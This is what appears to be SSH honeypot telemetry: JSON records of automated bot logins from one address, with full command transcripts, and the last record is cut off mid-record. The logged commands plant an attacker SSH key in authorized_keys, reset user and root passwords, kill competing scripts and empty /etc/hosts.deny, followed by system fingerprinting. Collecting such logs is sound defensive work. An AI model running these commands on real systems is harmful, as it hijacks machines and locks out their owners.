{"id":"a2e3b358-1c6d-429a-b707-87c8e7525523","name":"genial-ginger-skua","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":46952,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:11:16.796509+00:00","ended_at":"2026-08-27T05:11:17.564819+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a29c6c7a-0f36-4218-847d-a12fca09a8c8","name":"sandy-gallant-bowerbird","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":41764,"username":"toto","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":308,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:09:39.125729+00:00","ended_at":"2026-08-27T05:09:40.368070+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2255,"events":[{"seq":1,"at":"2026-08-27T05:09:21.922215+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:09:22.231105+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:09:25.817553+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:09:26.401926+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:09:26.713823+00:00","kind":"input","latency_ms":null,"data":"echo -e \"password\\n0BcgtIge6DrK\\n0BcgtIge6DrK\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:09:27.020569+00:00","kind":"input","latency_ms":null,"data":"echo \"password\\n0BcgtIge6DrK\\n0BcgtIge6DrK\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:09:27.328561+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:09:27.841584+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:09:28.150448+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:09:29.384345+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:09:29.696255+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:09:30.904780+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:09:31.216784+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:09:31.610801+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:09:31.919331+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:09:32.361069+00:00","kind":"output","latency_ms":null,"data":" 05:09:32 up 7 days, 1:59, 0 user, load average: 0.11, 0.13, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:09:32.669490+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:09:33.408628+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:09:33.716563+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:09:34.151520+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:09:34.460121+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:09:34.796754+00:00","kind":"output","latency_ms":null,"data":"top - 05:09:34 up 7 days, 1:59, 0 user, load average: 0.11, 0.13, 0.13\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:09:35.106088+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:09:35.921284+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:09:36.231785+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:09:36.741111+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:09:37.048652+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:09:37.645151+00:00","kind":"output","latency_ms":null,"data":"toto"},{"seq":29,"at":"2026-08-27T05:09:37.951409+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:09:38.818759+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:09:39.126599+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:09:40.273955+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"toto","password":"password","method":"password","accepted":true,"tier":"other"}]} {"id":"ff98decd-e26b-49d3-938d-191c0d58948f","name":"deft-eager-turnstone","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":41788,"username":"toto","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:09:24.394806+00:00","ended_at":"2026-08-27T05:09:25.725888+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"toto","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8eb0c295-39e4-4bfe-b6a1-9cdeb244a04d","name":"fierce-fringed-albatross","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":41776,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:09:22.951255+00:00","ended_at":"2026-08-27T05:09:23.783078+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f2b037a4-f809-48ec-ab8c-f4dae8862aae","name":"primal-earnest-nuthatch","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":33842,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":326,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:07:34.182813+00:00","ended_at":"2026-08-27T05:07:35.239789+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:07:16.312748+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:07:16.645272+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:07:19.628391+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:07:20.271003+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:07:20.601353+00:00","kind":"input","latency_ms":null,"data":"echo \"root:B70hnRlrkP9Z\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:07:20.922480+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:07:21.244369+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:07:21.843126+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:07:22.168191+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:07:23.570675+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:07:23.897513+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:07:24.837828+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:07:25.164554+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:07:25.523062+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:07:25.849730+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:07:26.744478+00:00","kind":"output","latency_ms":null,"data":" 05:07:26 up 7 days, 1:57, 0 user, load average: 0.22, 0.29, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:07:27.072897+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:07:27.552137+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:07:27.878468+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:07:28.514594+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:07:28.839951+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:07:29.398767+00:00","kind":"output","latency_ms":null,"data":"top - 05:07:29 up 7 days, 1:57, 0 user, load average: 0.22, 0.29, 0.26\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:07:29.724242+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:07:30.220230+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:07:30.545826+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:07:31.263232+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:07:31.586917+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:07:32.260017+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T05:07:32.588804+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:07:33.858942+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:07:34.183595+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:07:35.141029+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Mouse2025","method":"password","accepted":true,"tier":"other"}]} {"id":"471282ba-4aa3-4800-819f-f352a4e47b9a","name":"loyal-lonesome-cougar","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":38848,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:07:18.879845+00:00","ended_at":"2026-08-27T05:07:19.530003+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9a742849-3a2c-4d5c-b479-59c5f7d5df69","name":"rustic-amiable-pangolin","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":38840,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:07:17.366530+00:00","ended_at":"2026-08-27T05:07:18.260218+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"56fcbcf7-9c64-43b9-aa4f-26d3d1c45612","name":"dusky-vigilant-lemur","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":46860,"username":"pm","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":319,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:05:27.832813+00:00","ended_at":"2026-08-27T05:05:29.140827+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2241,"events":[{"seq":1,"at":"2026-08-27T05:05:09.533608+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:05:09.851370+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:05:14.177795+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:05:14.737927+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:05:15.060891+00:00","kind":"input","latency_ms":null,"data":"echo -e \"pm\\npc0Yvj2SP9HR\\npc0Yvj2SP9HR\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:05:15.376424+00:00","kind":"input","latency_ms":null,"data":"echo \"pm\\npc0Yvj2SP9HR\\npc0Yvj2SP9HR\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:05:15.692231+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:05:16.266938+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:05:16.587226+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:05:17.858420+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:05:18.179019+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:05:19.506644+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:05:19.826973+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:05:20.456636+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:05:20.778258+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:05:21.099343+00:00","kind":"output","latency_ms":null,"data":" 05:05:21 up 7 days, 1:55, 0 user, load average: 0.17, 0.16, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:05:21.412394+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:05:21.900751+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:05:22.217657+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:05:22.848044+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:05:23.165638+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:05:23.714473+00:00","kind":"output","latency_ms":null,"data":"top - 05:05:23 up 7 days, 1:55, 0 user, load average: 0.17, 0.16, 0.16\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:05:24.032506+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:05:24.478529+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:05:24.797525+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:05:25.515894+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:05:25.833686+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:05:26.328034+00:00","kind":"output","latency_ms":null,"data":"pm"},{"seq":29,"at":"2026-08-27T05:05:26.646698+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:05:27.518717+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:05:27.833728+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:05:29.043902+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"pm","password":"pm","method":"password","accepted":true,"tier":"other"}]} {"id":"8aa4e2cb-8b37-4f77-b25c-7aee99f73fa7","name":"faded-nimble-goshawk","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":46878,"username":"pm","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:05:13.169881+00:00","ended_at":"2026-08-27T05:05:14.084802+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"pm","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4fb62742-145e-4bcc-b743-ff2bdc52e66c","name":"gleaming-salty-martin","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":46866,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:05:10.573402+00:00","ended_at":"2026-08-27T05:05:12.531375+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3a9d91d8-a940-43fa-b05b-6b8046438c1e","name":"candid-woven-crossbill","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":32822,"username":"deploy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:03:08.035913+00:00","ended_at":"2026-08-27T05:03:09.588707+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"deploy","password":"d3pl0y1234","method":"password","accepted":false,"tier":"probe"}]} {"id":"1b65979d-eb18-4cb5-9cec-03cfe12605f9","name":"gentle-autumn-parakeet","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":49382,"username":"jesus","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":313,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:01:37.792100+00:00","ended_at":"2026-08-27T05:01:39.262764+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T05:01:14.046066+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:01:14.357279+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:01:19.318496+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:01:21.353705+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:01:21.662315+00:00","kind":"input","latency_ms":null,"data":"echo -e \"jesus2025\\nVCgqH3oG7GmK\\nVCgqH3oG7GmK\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:01:21.972517+00:00","kind":"input","latency_ms":null,"data":"echo \"jesus2025\\nVCgqH3oG7GmK\\nVCgqH3oG7GmK\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:01:22.285160+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:01:23.371635+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:01:23.631472+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T05:01:24.040775+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T05:01:24.358156+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T05:01:26.489884+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:01:26.805107+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T05:01:28.074872+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T05:01:28.389188+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T05:01:29.775995+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T05:01:30.091065+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T05:01:30.858893+00:00","kind":"output","latency_ms":null,"data":" 05:01:30 up 7 days, 1:51, 0 user, load average: 0.34, 0.42, 0.38\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T05:01:31.169961+00:00","kind":"input","latency_ms":null,"data":"uname 